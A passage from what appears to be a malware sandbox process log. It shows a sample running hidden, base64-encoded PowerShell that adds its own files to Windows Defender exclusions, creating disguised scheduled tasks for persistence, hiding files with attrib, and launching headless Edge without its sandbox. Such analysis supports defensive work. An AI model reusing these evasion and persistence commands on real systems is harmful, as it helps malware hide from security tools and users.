dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAXABcAFMAZQByAHYAaQBjAGUAXABcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAHYAYwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:4932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAHYAYwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SecurityHealthSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:1292
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SecurityHealthSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:1680
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SecurityHealthSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SecurityHealthSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:2044
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SecurityHealthSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:5136
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SecurityHealthSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update" 2>nul'"
  2⤵
  PID:1472
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4612
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update
      4⤵
      Views/modifies file attributes
      PID:6104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABPAG4AZQBEAHIAaQB2AGUAXABcAFUAcABkAGEAdABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:5844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe" 2>nul'"
  2⤵
  PID:5064
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:464
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe
      4⤵
      Views/modifies file attributes
      PID:1116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABPAG4AZQBEAHIAaQB2AGUAXABcAFUAcABkAGEAdABlAFwAXABPAG4AZQBEAHIAaQB2AGUAVQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAE8AbgBlAEQAcgBpAHYAZQBVAHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:4456
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "OneDriveUpdaterSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn OneDriveUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:2312
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn OneDriveUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "OneDriveUpdaterSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1396
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn OneDriveUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:4464
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn OneDriveUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host" 2>nul'"
  2⤵
  PID:656
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4160
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host
      4⤵
      Views/modifies file attributes
      PID:2428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYQByAGMAaABQAHIAbwB0AG8AYwBvAGwAXABcAEgAbwBzAHQAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:2068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --no-sandbox --no-first-run --disable-gpu --disable-extensions
  2⤵
  PID:5224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge5224240706437 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge5224240706437\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x244,0x248,0x24c,0x240,0x2f0,0x7ffbc00bc188,0x7ffbc00bc194,0x7ffbc00bc1a0
    3⤵
    PID:4976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:2
    3⤵
    PID:4104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2156 /prefetch:3
    3⤵
    - System Time Discovery
    PID:5908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:8
    3⤵
    PID:5640
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:1
    3⤵
    PID:6024
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:1
    3⤵
    PID:2292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3252 /prefetch:1
    3⤵
    PID:1044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:2
    3⤵
    PID:1116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3324 /prefetch:1
    3⤵
    PID:5148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3328 /prefetch:2
    3⤵
    PID:2428
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3388 /prefetch:1
    3⤵
    PID:1436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3412 /prefetch:2
    3⤵
    PID:6148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
    3⤵
    PID:6160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:2
    3⤵
    PID:6168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3924 /prefetch:2
    3⤵
    PID:6236
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4008 /prefetch:2
    3⤵
    PID:6276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:2
    3⤵
    PID:6284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4052 /prefetch:2
    3⤵
    PID:6292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4132 /prefetch:2
    3⤵
    PID:6300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3984 /prefetch:1
    3⤵
    PID:6904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5140 /prefetch:8
    3⤵
    PID:7040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2152,i,15772275756037172935,3007355250925214431,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:8
    3⤵
    PID:4944
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
